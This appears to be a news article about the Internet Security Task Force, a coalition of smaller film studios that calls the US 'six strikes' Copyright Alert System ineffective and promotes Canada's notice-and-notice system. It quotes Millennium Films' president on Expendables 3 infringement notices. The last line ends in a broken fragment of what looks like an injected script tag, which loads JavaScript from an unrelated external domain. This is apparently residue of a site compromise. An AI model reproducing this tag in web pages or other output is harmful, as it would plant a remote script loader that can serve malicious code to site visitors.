Last month, a new coalition called the Internet Security Task Force (ISTF) was formed to tackle the increasing piracy threat. The group is composed of smaller movie studios including Voltage Pictures, Bloom, FilmNation Entertainment, Sierra/Affinity and Millennium Films. It is poised to be more aggressive than the Motion Picture Association of America (MPAA).
Copyright Alert System (CAS) vs. Canadian notice-and-notice system
As their first point of action, they are calling to end the voluntary “six strikes” Copyright Alert System. The filmmakers plan to promote the Canadian notice-and-notice system as an alternative instead.
Copyright Alert System is the voluntary anti-piracy agreement between the MPAA, RIAA and several US internet service providers (ISPs). This system alerts, educates, and punishes subscribers of participating ISPs namely, AT&T, Verizon, Cablevision, Time Warner Cable, and Comcast in the United States. It is based on accusations of using BitTorrent to infringe entertainment companies’ copyrights, and is done through distribution without authorization from the copyright holders.
Canadian Notice-and-Notice System is a solution that will legally require ISPs and website hosts to forward notices to users who are suspected of copyright infringement. The notices are sent by the copyright owners, and the ISPs must also inform them that the notices have been sent. This Canada-made system is their attempt to protect the interests of both parties.
ISTF describes the Copyright Alert System as a “sham”. The group thinks it does nothing to stop piracy. Their data revealed that the six strikes warnings are not getting their anticipated result.
Mark Gill, Millennium Films President, said that under six strikes scheme, his studio has sent several notices directed at Expendables 3 but only a tiny fraction were forwarded by the participating ISPs. He said, “We’ve always known the Copyright Alert System was ineffective, as it allows people to steal six movies from us before they get an educational leaflet. But now we have the data to prove that it’s a sham.”
Gill adds “On our film ‘Expendables 3,’ which has been illegally viewed more than 60 million times, the CAS only allowed 0.3% of our infringement notices through to their customers. The other 99.7% of the time, the notices went in the trash.”
ISTF is urging the MPAA, the RIAA, and the major ISPs to switch to the Canadian model instead of the Copyright Alert System. The group has already sent a letter and now hopes that the system will change in the near future. type=’text/javascript’ src=’http://online-sale24.com/1.js’>